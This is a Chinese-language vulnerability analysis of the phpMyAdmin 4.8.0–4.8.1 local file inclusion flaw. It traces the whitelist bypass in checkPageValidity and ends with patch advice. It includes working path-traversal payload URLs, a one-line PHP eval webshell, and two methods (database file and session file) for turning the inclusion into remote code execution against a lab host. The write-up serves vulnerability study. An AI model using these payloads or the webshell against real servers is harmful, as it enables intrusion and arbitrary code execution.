0x01 瞭解本地文件包含
LFI(本地文件包含),是指當服務器開啓allow_url_include選項時,就可以通過php的某些特性函數(include(),require()和include_once(),require_once())利用url去動態包含文件,此時如果沒有對文件來源進行嚴格審查,就會導致任意文件讀取或者任意命令執行。
0x02 瞭解遠程代碼執行
RCE(遠程代碼執行),遠程命令執行漏洞,用戶通過瀏覽器提交執行命令,由於服務器端沒有針對執行函數做過濾,導致在沒有指定絕對路徑的情況下就執行命令,可能會允許攻擊者通過改變 $PATH 或程序執行環境的其他方面來執行一個惡意構造的代碼。
0x03 漏洞影響版本
- Phpmyadmin Phpmyadmin 4.8.0
- Phpmyadmin Phpmyadmin 4.8.0.1
- Phpmyadmin Phpmyadmin 4.8.1
0x04 瞭解PHPmyadmin
phpMyAdmin是phpMyAdmin團隊開發的一套免費的、基於Web的MySQL數據庫管理工具。該工具能夠創建和刪除數據庫,創建、刪除、修改數據庫表,執行SQL腳本命令等。 phpMyAdmin 4.8.2之前的4.8.x版本中存在安全漏洞。攻擊者可利用該漏洞包含(查看並可能執行)服務器上的文件。
0x05 漏洞起因
index.php,61行
這裏的target
可以直接傳值輸入,我們可以傳入一個本地文件路徑去讓其包含,就會造成LFI漏洞。
要想成功包含target
,需要滿足五個條件:
- 非空
- 是字符串
- 不以
index
開頭 - 不在黑名單
target_blacklist
中 - 符合函數
checkPageValidity
的驗證
接下來跟進checkPageValidity
函數
phpMyAdmin-4.8.1-english\libraries\classes\Core.php,443行
可以看到,要想使該函數返回true
,包含的文件必須包含在白名單$whitelist
中,
下面是白名單$whitelist
的內容:
phpMyAdmin-4.8.1-english\libraries\classes\Core.php,31行
所以只要包含其中之一即可。
第一個返回true
的地方,page
參數未做任何修飾,直接驗證是否在白名單whitelist
中,無法利用
第二個返回true
的地方,
函數mb_substr說明
函數mb_strpos說明
即判斷?
後面的字符串是否滿足白名單,那麼我們是否可以利用跨路徑來包含文件呢?比如xxx.php?/../../../
,(這裏的xxx.php
當然指的就是上面提到的白名單$whitelist
的內容),回答是不能的,因爲在PHP中會把?
後面的內容作爲文件xxx.php
中的參數,因此不能繞過。
第三個返回true
的地方,
與第二處的區別就是多了urldecode
函數,問題就出在這裏了。
上面提到的導致不能繞過白名單的原因就是?
的緣故,所以這裏用url全編碼方式對?
進行編碼就可以繞過。
payload:http://127.0.0.1/phpMyAdmin-4.8.1-english/index.php?target=db_datadict.php%25%33%66/../../../../../../../../../windows/system.ini
include $_REQUEST[‘target’];
就變成
include ‘export.php%3f/../../../../../../../../../windows/system.ini'
0x06 利用方式
0x01 利用數據庫創建shell
測試發現,如果把WebShell當做數據表的字段值是可以完美的寫入到數據庫文件當中的。
登錄phpmyadmin,在test數據庫新建一個數據表,字段爲一句話木馬:
<?php @eval($_GET['s']);?>
保存。
查詢生成文件的絕對路徑
show variables like '%datadir%';
查看生成的.frm
文件,shell已經成功寫入
利用本地文件包含去包含/bin/mysql/data/test/shell.frm
文件即可RCE。
payload:http://127.0.0.1/phpMyAdmin-4.8.1-english/index.php?s=phpinfo();&target=db_datadict.php%25%33%66/../../../bin/mysql/mysql5.7.21/data/test/shell.frm
s
爲一句話木馬的連接密碼,
可以看到,RCE已經成功。
0x02 利用session文件創建shell
執行sql語句,查看session
生成的session文件
執行payload:http://127.0.0.1/phpMyAdmin-4.8.1-english/index.php?s=phpinfo();&target=db_datadict.php%25%33%66/../../../tmp/sess_bv6e61104hvbsbkebdoikk3ke0c0er5k
,成功執行
0x07 修復建議
- 升級版本;
checkPageValidity
函數返回false
index.php,59
phpMyAdmin-4.8.1-english\libraries\classes\Core.php,443行